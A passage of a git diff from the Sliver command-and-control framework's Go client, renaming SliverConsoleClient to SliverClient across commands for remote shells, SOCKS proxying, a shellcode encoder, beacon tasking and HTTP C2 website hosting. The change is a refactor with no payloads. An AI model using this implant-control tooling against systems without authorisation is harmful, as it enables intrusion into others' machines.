[]*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { settingsCmd := &cobra.Command{ Use: consts.SettingsStr, Short: "Manage client settings", diff --git a/client/command/settings/opsec.go b/client/command/settings/opsec.go index 40a4e99989..2fc964875d 100644 --- a/client/command/settings/opsec.go +++ b/client/command/settings/opsec.go @@ -27,7 +27,7 @@ import ( ) // SettingsAutoAdultCmd - The client settings command -func SettingsAutoAdultCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SettingsAutoAdultCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -41,7 +41,7 @@ func SettingsAutoAdultCmd(cmd *cobra.Command, con *console.SliverConsoleClient, } // IsUserAnAdult - This should be called for any dangerous (OPSEC-wise) functions -func IsUserAnAdult(con *console.SliverConsoleClient) bool { +func IsUserAnAdult(con *console.SliverClient) bool { if GetAutoAdult(con) { return true } @@ -52,7 +52,7 @@ func IsUserAnAdult(con *console.SliverConsoleClient) bool { } // GetAutoAdult - Get the current auto adult setting -func GetAutoAdult(con *console.SliverConsoleClient) bool { +func GetAutoAdult(con *console.SliverClient) bool { if con.Settings == nil { con.Settings, _ = assets.LoadSettings() } diff --git a/client/command/settings/settings.go b/client/command/settings/settings.go index c0da4c861c..11b13626ad 100644 --- a/client/command/settings/settings.go +++ b/client/command/settings/settings.go @@ -30,7 +30,7 @@ import ( ) // SettingsCmd - The client settings command -func SettingsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SettingsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -54,7 +54,7 @@ func SettingsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } // SettingsAlwaysOverflow - Toggle always overflow -func SettingsAlwaysOverflow(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SettingsAlwaysOverflow(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -68,7 +68,7 @@ func SettingsAlwaysOverflow(cmd *cobra.Command, con *console.SliverConsoleClient } // SettingsConsoleLogs - Toggle console logs -func SettingsConsoleLogs(cmd *cobra.Command, con *console.SliverConsoleClient) { +func SettingsConsoleLogs(cmd *cobra.Command, con *console.SliverClient) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -82,7 +82,7 @@ func SettingsConsoleLogs(cmd *cobra.Command, con *console.SliverConsoleClient) { } // SettingsSmallTerm - Modify small terminal width value -func SettingsSmallTerm(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SettingsSmallTerm(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -112,7 +112,7 @@ func SettingsSmallTerm(cmd *cobra.Command, con *console.SliverConsoleClient, arg } // SettingsTablesCmd - The client settings command -func SettingsTablesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SettingsTablesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -144,7 +144,7 @@ func SettingsTablesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } // SettingsSaveCmd - The client settings command -func SettingsSaveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SettingsSaveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -162,7 +162,7 @@ func SettingsSaveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } // SettingsAlwaysOverflow - Toggle always overflow -func SettingsUserConnect(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SettingsUserConnect(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() diff --git a/client/command/settings/tables.go b/client/command/settings/tables.go index a285605919..f895aba317 100644 --- a/client/command/settings/tables.go +++ b/client/command/settings/tables.go @@ -128,7 +128,7 @@ var ( ) // GetTableStyle - Get the current table style -func GetTableStyle(con *console.SliverConsoleClient) table.Style { +func GetTableStyle(con *console.SliverClient) table.Style { if con.Settings == nil { con.Settings, _ = assets.LoadSettings() } @@ -141,7 +141,7 @@ func GetTableStyle(con *console.SliverConsoleClient) table.Style { } // GetTableWithBordersStyle - Get the table style with borders -func GetTableWithBordersStyle(con *console.SliverConsoleClient) table.Style { +func GetTableWithBordersStyle(con *console.SliverClient) table.Style { if con.Settings == nil { con.Settings, _ = assets.LoadSettings() } @@ -179,7 +179,7 @@ func PagesOf(renderedTable string) [][]string { } // PaginateTable - Render paginated table to console -func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) { +func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverClient) { renderedTable := tw.Render() lineCount := strings.Count(renderedTable, "\n") if !overflow || con.Settings.AlwaysOverflow { diff --git a/client/command/shell/commands.go b/client/command/shell/commands.go index 4791cc8215..d187bc4268 100644 --- a/client/command/shell/commands.go +++ b/client/command/shell/commands.go @@ -11,7 +11,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { shellCmd := &cobra.Command{ Use: consts.ShellStr, Short: "Start an interactive shell", diff --git a/client/command/shell/shell.go b/client/command/shell/shell.go index f7c03fea70..c00e949bdd 100644 --- a/client/command/shell/shell.go +++ b/client/command/shell/shell.go @@ -41,7 +41,7 @@ const ( ) // ShellCmd - Start an interactive shell on the remote system -func ShellCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ShellCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -60,7 +60,7 @@ func ShellCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin con.Println("Shell exited") } -func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *console.SliverConsoleClient) { +func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *console.SliverClient) { con.Println() con.PrintInfof("Wait approximately 10 seconds after exit, and press to continue\n") con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n") diff --git a/client/command/shikata-ga-nai/commands.go b/client/command/shikata-ga-nai/commands.go index 2d81134c19..92a1e93ff4 100644 --- a/client/command/shikata-ga-nai/commands.go +++ b/client/command/shikata-ga-nai/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { shikataGaNaiCmd := &cobra.Command{ Use: consts.ShikataGaNai, Short: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない", diff --git a/client/command/shikata-ga-nai/sgn.go b/client/command/shikata-ga-nai/sgn.go index f63f4b6c07..e05af7015c 100644 --- a/client/command/shikata-ga-nai/sgn.go +++ b/client/command/shikata-ga-nai/sgn.go @@ -31,7 +31,7 @@ import ( ) // ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder -func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { shellcodeFile := args[0] rawShellcode, err := ioutil.ReadFile(shellcodeFile) if err != nil { diff --git a/client/command/sliver.go b/client/command/sliver.go index 0b9446b13c..381fd56d4b 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -19,9 +19,6 @@ package command */ import ( - "github.com/reeflective/console" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/backdoor" @@ -50,10 +47,12 @@ import ( "github.com/bishopfox/sliver/client/command/wireguard" client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/reeflective/console" + "github.com/spf13/cobra" ) // SliverCommands returns all commands bound to the implant menu. -func SliverCommands(con *client.SliverConsoleClient) console.Commands { +func SliverCommands(con *client.SliverClient) console.Commands { sliverCommands := func() *cobra.Command { sliver := &cobra.Command{ Short: "Implant commands", diff --git a/client/command/socks/commands.go b/client/command/socks/commands.go index 90f3571276..f6077a910a 100644 --- a/client/command/socks/commands.go +++ b/client/command/socks/commands.go @@ -13,7 +13,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { socksCmd := &cobra.Command{ Use: consts.Socks5Str, Short: "In-band SOCKS5 Proxy", diff --git a/client/command/socks/socks-start.go b/client/command/socks/socks-start.go index 7922429305..a2541c484c 100644 --- a/client/command/socks/socks-start.go +++ b/client/command/socks/socks-start.go @@ -34,7 +34,7 @@ import ( ) // SocksStartCmd - Add a new tunneled port forward -func SocksStartCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SocksStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/socks/socks-stop.go b/client/command/socks/socks-stop.go index d6e21e2c13..2255d421b4 100644 --- a/client/command/socks/socks-stop.go +++ b/client/command/socks/socks-stop.go @@ -29,7 +29,7 @@ import ( ) // SocksStopCmd - Remove an existing tunneled port forward -func SocksStopCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SocksStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { socksID, _ := cmd.Flags().GetUint64("id") if socksID < 1 { con.PrintErrorf("Must specify a valid socks5 id\n") diff --git a/client/command/socks/socks.go b/client/command/socks/socks.go index ae006d91b3..24de779231 100644 --- a/client/command/socks/socks.go +++ b/client/command/socks/socks.go @@ -33,7 +33,7 @@ import ( ) // SocksCmd - Display information about tunneled port forward(s) -func SocksCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SocksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { socks := core.SocksProxies.List() if len(socks) == 0 { con.PrintInfof("No socks5 proxies\n") @@ -60,7 +60,7 @@ func SocksCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } // SocksIDCompleter completes IDs of remote of socks proxy servers -func SocksIDCompleter(_ *console.SliverConsoleClient) carapace.Action { +func SocksIDCompleter(_ *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/taskmany/taskmany.go b/client/command/taskmany/taskmany.go index 74cc826753..4e01aacc01 100644 --- a/client/command/taskmany/taskmany.go +++ b/client/command/taskmany/taskmany.go @@ -37,7 +37,7 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -func Command(con *console.SliverConsoleClient) []*cobra.Command { +func Command(con *console.SliverClient) []*cobra.Command { taskmanyCmd := &cobra.Command{ Use: consts.TaskmanyStr, Short: "Task many beacons or sessions", @@ -81,12 +81,12 @@ func Command(con *console.SliverConsoleClient) []*cobra.Command { } // TaskmanyCmd - Task many beacons / sessions -func TaskmanyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func TaskmanyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.PrintErrorf("Must specify subcommand. See taskmany --help for supported subcommands.\n") } // Helper function to wrap grumble commands with taskmany logic -func WrapCommand(c *cobra.Command, con *console.SliverConsoleClient) *cobra.Command { +func WrapCommand(c *cobra.Command, con *console.SliverClient) *cobra.Command { wc := &cobra.Command{ Use: c.Use, Short: c.Short, @@ -100,7 +100,7 @@ func WrapCommand(c *cobra.Command, con *console.SliverConsoleClient) *cobra.Comm } // Wrap a function to run it for each beacon / session -func wrapFunctionWithTaskmany(con *console.SliverConsoleClient, f func(cmd *cobra.Command, args []string)) func(cmd *cobra.Command, args []string) { +func wrapFunctionWithTaskmany(con *console.SliverClient, f func(cmd *cobra.Command, args []string)) func(cmd *cobra.Command, args []string) { return func(cmd *cobra.Command, args []string) { defer con.Println() @@ -150,7 +150,7 @@ func wrapFunctionWithTaskmany(con *console.SliverConsoleClient, f func(cmd *cobr } } -func SelectMultipleBeaconsAndSessions(con *console.SliverConsoleClient) ([]*clientpb.Session, []*clientpb.Beacon, error) { +func SelectMultipleBeaconsAndSessions(con *console.SliverClient) ([]*clientpb.Session, []*clientpb.Beacon, error) { // Get and sort sessions sessionsObj, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { diff --git a/client/command/tasks/commands.go b/client/command/tasks/commands.go index 2f5bc11259..20036ddfc1 100644 --- a/client/command/tasks/commands.go +++ b/client/command/tasks/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { tasksCmd := &cobra.Command{ Use: consts.TasksStr, Short: "Beacon task management", diff --git a/client/command/tasks/fetch.go b/client/command/tasks/fetch.go index 61a11deb67..77eb28169f 100644 --- a/client/command/tasks/fetch.go +++ b/client/command/tasks/fetch.go @@ -48,7 +48,7 @@ import ( ) // TasksFetchCmd - Manage beacon tasks -func TasksFetchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func TasksFetchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { return @@ -125,7 +125,7 @@ func filterTasksByTaskType(taskType string, tasks []*clientpb.BeaconTask) []*cli } // PrintTask - Print the details of a beacon task -func PrintTask(task *clientpb.BeaconTask, con *console.SliverConsoleClient) { +func PrintTask(task *clientpb.BeaconTask, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableWithBordersStyle(con)) tw.AppendRow(table.Row{console.Bold + "Beacon Task" + console.Normal, task.ID}) @@ -172,7 +172,7 @@ func emojiState(state string) string { } // Decode and render message specific content -func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleClient) { +func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) { reqEnvelope := &sliverpb.Envelope{} proto.Unmarshal(task.Request, reqEnvelope) switch reqEnvelope.Type { @@ -743,7 +743,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli } } -func taskResponseDownload(download *sliverpb.Download, con *console.SliverConsoleClient) { +func taskResponseDownload(download *sliverpb.Download, con *console.SliverClient) { const ( dump = "Dump Contents" saveTo = "Save to File ..." @@ -766,7 +766,7 @@ func taskResponseDownload(download *sliverpb.Download, con *console.SliverConsol } } -func promptSaveToFile(data []byte, con *console.SliverConsoleClient) { +func promptSaveToFile(data []byte, con *console.SliverClient) { saveTo := "" saveToPrompt := &survey.Input{Message: "Save to: "} err := survey.AskOne(saveToPrompt, &saveTo) diff --git a/client/command/tasks/helpers.go b/client/command/tasks/helpers.go index 2b24a80084..5d9393f84d 100644 --- a/client/command/tasks/helpers.go +++ b/client/command/tasks/helpers.go @@ -50,7 +50,7 @@ func SelectBeaconTask(tasks []*clientpb.BeaconTask) (*clientpb.BeaconTask, error } // BeaconTaskIDCompleter returns a structured list of tasks completions, grouped by state. -func BeaconTaskIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func BeaconTaskIDCompleter(con *console.SliverClient) carapace.Action { callback := func(ctx carapace.Context) carapace.Action { beacon := con.ActiveTarget.GetBeacon() if beacon == nil { @@ -115,7 +115,7 @@ func BeaconTaskIDCompleter(con *console.SliverConsoleClient) carapace.Action { } // BeaconPendingTasksCompleter completes pending tasks -func BeaconPendingTasksCompleter(con *console.SliverConsoleClient) carapace.Action { +func BeaconPendingTasksCompleter(con *console.SliverClient) carapace.Action { callback := func(ctx carapace.Context) carapace.Action { beacon := con.ActiveTarget.GetBeacon() if beacon == nil { diff --git a/client/command/tasks/tasks-cancel.go b/client/command/tasks/tasks-cancel.go index 3294af5977..c2c478348a 100644 --- a/client/command/tasks/tasks-cancel.go +++ b/client/command/tasks/tasks-cancel.go @@ -10,7 +10,7 @@ import ( ) // TasksCancelCmd - Cancel a beacon task before it's sent to the implant -func TasksCancelCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func TasksCancelCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { return diff --git a/client/command/tasks/tasks.go b/client/command/tasks/tasks.go index 2f087096ca..610aada08b 100644 --- a/client/command/tasks/tasks.go +++ b/client/command/tasks/tasks.go @@ -33,7 +33,7 @@ import ( ) // TasksCmd - Manage beacon tasks -func TasksCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func TasksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { return @@ -47,7 +47,7 @@ func TasksCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } // PrintBeaconTasks - Print beacon tasks -func PrintBeaconTasks(tasks []*clientpb.BeaconTask, cmd *cobra.Command, con *console.SliverConsoleClient) { +func PrintBeaconTasks(tasks []*clientpb.BeaconTask, cmd *cobra.Command, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.AppendHeader(table.Row{ diff --git a/client/command/update/commands.go b/client/command/update/commands.go index 1f4f8cb0a9..25e0709a7b 100644 --- a/client/command/update/commands.go +++ b/client/command/update/commands.go @@ -13,7 +13,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { updateCmd := &cobra.Command{ Use: consts.UpdateStr, Short: "Check for updates", diff --git a/client/command/update/update.go b/client/command/update/update.go index 06b6596b1e..3769f37c6d 100644 --- a/client/command/update/update.go +++ b/client/command/update/update.go @@ -48,7 +48,7 @@ import ( ) // UpdateCmd - Check for updates -func UpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func UpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { VerboseVersionsCmd(cmd, con, args) timeoutF, _ := cmd.Flags().GetInt("timeout") @@ -127,7 +127,7 @@ func UpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } // VerboseVersionsCmd - Get verbose version information about the client and server -func VerboseVersionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func VerboseVersionsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { clientVer := version.FullVersion() serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) if err != nil { @@ -219,7 +219,7 @@ func clientAssetForGOOS(assets []version.Asset) *version.Asset { return findAssetFor(prefix, suffixes, assets) } -func updateAvailable(con *console.SliverConsoleClient, client *http.Client, release *version.Release, saveTo string) { +func updateAvailable(con *console.SliverClient, client *http.Client, release *version.Release, saveTo string) { serverAsset := serverAssetForGOOS(release.Assets) clientAsset := clientAssetForGOOS(release.Assets) diff --git a/client/command/use/beacons.go b/client/command/use/beacons.go index 17a3835642..14328e8238 100644 --- a/client/command/use/beacons.go +++ b/client/command/use/beacons.go @@ -26,7 +26,7 @@ import ( ) // UseBeaconCmd - Change the active beacon -func UseBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func UseBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon, err := beacons.SelectBeacon(con) if beacon != nil { con.ActiveTarget.Set(nil, beacon) diff --git a/client/command/use/commands.go b/client/command/use/commands.go index 0dd4ce5a1f..a8a0fe9177 100644 --- a/client/command/use/commands.go +++ b/client/command/use/commands.go @@ -13,7 +13,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { useCmd := &cobra.Command{ Use: consts.UseStr, Short: "Switch the active session or beacon", diff --git a/client/command/use/sessions.go b/client/command/use/sessions.go index 2b81ba13f7..3f8c8e64ee 100644 --- a/client/command/use/sessions.go +++ b/client/command/use/sessions.go @@ -26,7 +26,7 @@ import ( ) // UseSessionCmd - Change the active session -func UseSessionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func UseSessionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, err := sessions.SelectSession(false, con) if session != nil { con.ActiveTarget.Set(session, nil) diff --git a/client/command/use/use.go b/client/command/use/use.go index 1cacc26e7e..cae5a974ff 100644 --- a/client/command/use/use.go +++ b/client/command/use/use.go @@ -40,7 +40,7 @@ import ( var ErrNoSelection = errors.New("no selection") // UseCmd - Change the active session -func UseCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func UseCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var session *clientpb.Session var beacon *clientpb.Beacon var err error @@ -70,7 +70,7 @@ func UseCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } // SessionOrBeaconByID - Select a session or beacon by ID -func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) { +func SessionOrBeaconByID(id string, con *console.SliverClient) (*clientpb.Session, *clientpb.Beacon, error) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { return nil, nil, err @@ -95,7 +95,7 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb } // SelectSessionOrBeacon - Select a session or beacon -func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) { +func SelectSessionOrBeacon(con *console.SliverClient) (*clientpb.Session, *clientpb.Beacon, error) { // Get and sort sessions sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { @@ -183,7 +183,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session, } // BeaconAndSessionIDCompleter - BeaconAndSessionIDCompleter for beacon / session ids -func BeaconAndSessionIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func BeaconAndSessionIDCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { var action carapace.Action @@ -197,7 +197,7 @@ func BeaconAndSessionIDCompleter(con *console.SliverConsoleClient) carapace.Acti } // SessionIDCompleter completes session IDs -func SessionIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func SessionIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/wasm/commands.go b/client/command/wasm/commands.go index 175eaed811..4327a6c93c 100644 --- a/client/command/wasm/commands.go +++ b/client/command/wasm/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { wasmCmd := &cobra.Command{ Use: consts.WasmStr, Short: "Execute a Wasm Module Extension", diff --git a/client/command/wasm/memfs.go b/client/command/wasm/memfs.go index 32fc448400..787e7f3f98 100644 --- a/client/command/wasm/memfs.go +++ b/client/command/wasm/memfs.go @@ -10,7 +10,7 @@ import ( "github.com/spf13/cobra" ) -func parseMemFS(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (map[string][]byte, error) { +func parseMemFS(cmd *cobra.Command, con *console.SliverClient, args []string) (map[string][]byte, error) { memfs := make(map[string][]byte) totalSize := 0 diff --git a/client/command/wasm/wasm.go b/client/command/wasm/wasm.go index 3abb990aa4..dc9f9b8c9b 100644 --- a/client/command/wasm/wasm.go +++ b/client/command/wasm/wasm.go @@ -46,7 +46,7 @@ const ( var wasmRegistrationCache = make(map[string][]string) // WasmCmd - Execute a WASM module extension -func WasmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WasmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -95,7 +95,7 @@ func WasmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } } -func isRegistered(name string, cmd *cobra.Command, con *console.SliverConsoleClient) bool { +func isRegistered(name string, cmd *cobra.Command, con *console.SliverClient) bool { // Check if we have already registered this wasm module if wasmRegistrationCache[idOf(con)] != nil { if util.Contains(wasmRegistrationCache[idOf(con)], name) { @@ -121,7 +121,7 @@ func isRegistered(name string, cmd *cobra.Command, con *console.SliverConsoleCli } // idOf - Quickly return the id of the current session or beacon -func idOf(con *console.SliverConsoleClient) string { +func idOf(con *console.SliverClient) string { if con.ActiveTarget != nil { if session := con.ActiveTarget.GetSession(); session != nil { return session.ID @@ -133,7 +133,7 @@ func idOf(con *console.SliverConsoleClient) string { return "" } -func runNonInteractive(execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.SliverConsoleClient) { +func runNonInteractive(execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.SliverClient) { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() execWasmResp, err := con.Rpc.ExecWasmExtension(grpcCtx, execWasmReq) @@ -159,7 +159,7 @@ func runNonInteractive(execWasmReq *sliverpb.ExecWasmExtensionReq, con *console. } } -func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.SliverConsoleClient) { +func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.SliverClient) { session := con.ActiveTarget.GetSession() if session == nil { con.PrintErrorf("No active session\n") @@ -227,7 +227,7 @@ func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionR } } -func registerWasmExtension(wasmFilePath string, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func registerWasmExtension(wasmFilePath string, cmd *cobra.Command, con *console.SliverClient) error { grpcCtx, cancel := con.GrpcContext(cmd) defer cancel() data, err := os.ReadFile(wasmFilePath) @@ -254,7 +254,7 @@ func registerWasmExtension(wasmFilePath string, cmd *cobra.Command, con *console } // WasmLsCmd - Execute a WASM module extension -func WasmLsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WasmLsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return diff --git a/client/command/websites/commands.go b/client/command/websites/commands.go index 862244b3cd..e8c5773f47 100644 --- a/client/command/websites/commands.go +++ b/client/command/websites/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { websitesCmd := &cobra.Command{ Use: consts.WebsitesStr, Short: "Host static content (used with HTTP C2)", diff --git a/client/command/websites/websites-add-content.go b/client/command/websites/websites-add-content.go index e296545078..f9bcd3992b 100644 --- a/client/command/websites/websites-add-content.go +++ b/client/command/websites/websites-add-content.go @@ -35,7 +35,7 @@ import ( ) // WebsitesAddContentCmd - Add static content to a website -func WebsitesAddContentCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WebsitesAddContentCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { websiteName, _ := cmd.Flags().GetString("website") if websiteName == "" { con.PrintErrorf("Must specify a website name via --website, see --help\n") diff --git a/client/command/websites/websites-rm-content.go b/client/command/websites/websites-rm-content.go index b0e4f1bce8..521b403bf2 100644 --- a/client/command/websites/websites-rm-content.go +++ b/client/command/websites/websites-rm-content.go @@ -29,7 +29,7 @@ import ( ) // WebsitesRmContent - Remove static content from a website -func WebsitesRmContent(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WebsitesRmContent(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("website") webPath, _ := cmd.Flags().GetString("web-path") recursive, _ := cmd.Flags().GetBool("recursive") diff --git a/client/command/websites/websites-rm.go b/client/command/websites/websites-rm.go index 8f1a19359b..7b702ebaa9 100644 --- a/client/command/websites/websites-rm.go +++ b/client/command/websites/websites-rm.go @@ -28,7 +28,7 @@ import ( ) // WebsiteRmCmd - Remove a website and all its static content -func WebsiteRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WebsiteRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { name = args[0] diff --git a/client/command/websites/websites-update-content.go b/client/command/websites/websites-update-content.go index d7e21e4788..ab993526cf 100644 --- a/client/command/websites/websites-update-content.go +++ b/client/command/websites/websites-update-content.go @@ -28,7 +28,7 @@ import ( ) // WebsitesUpdateContentCmd - Update metadata about static website content -func WebsitesUpdateContentCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WebsitesUpdateContentCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { websiteName, _ := cmd.Flags().GetString("website") if websiteName == "" { con.PrintErrorf("Must specify a website name via --website, see --help\n") diff --git a/client/command/websites/websites.go b/client/command/websites/websites.go index 2af253a990..b2fe11f569 100644 --- a/client/command/websites/websites.go +++ b/client/command/websites/websites.go @@ -39,7 +39,7 @@ const ( ) // WebsitesCmd - Manage websites -func WebsitesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WebsitesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if len(args) > 0 { websiteName := args[0] ListWebsiteContent(websiteName, con) @@ -49,7 +49,7 @@ func WebsitesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } // ListWebsites - Display a list of websites -func ListWebsites(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ListWebsites(cmd *cobra.Command, con *console.SliverClient, args []string) { websites, err := con.Rpc.Websites(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("Failed to list websites %s", 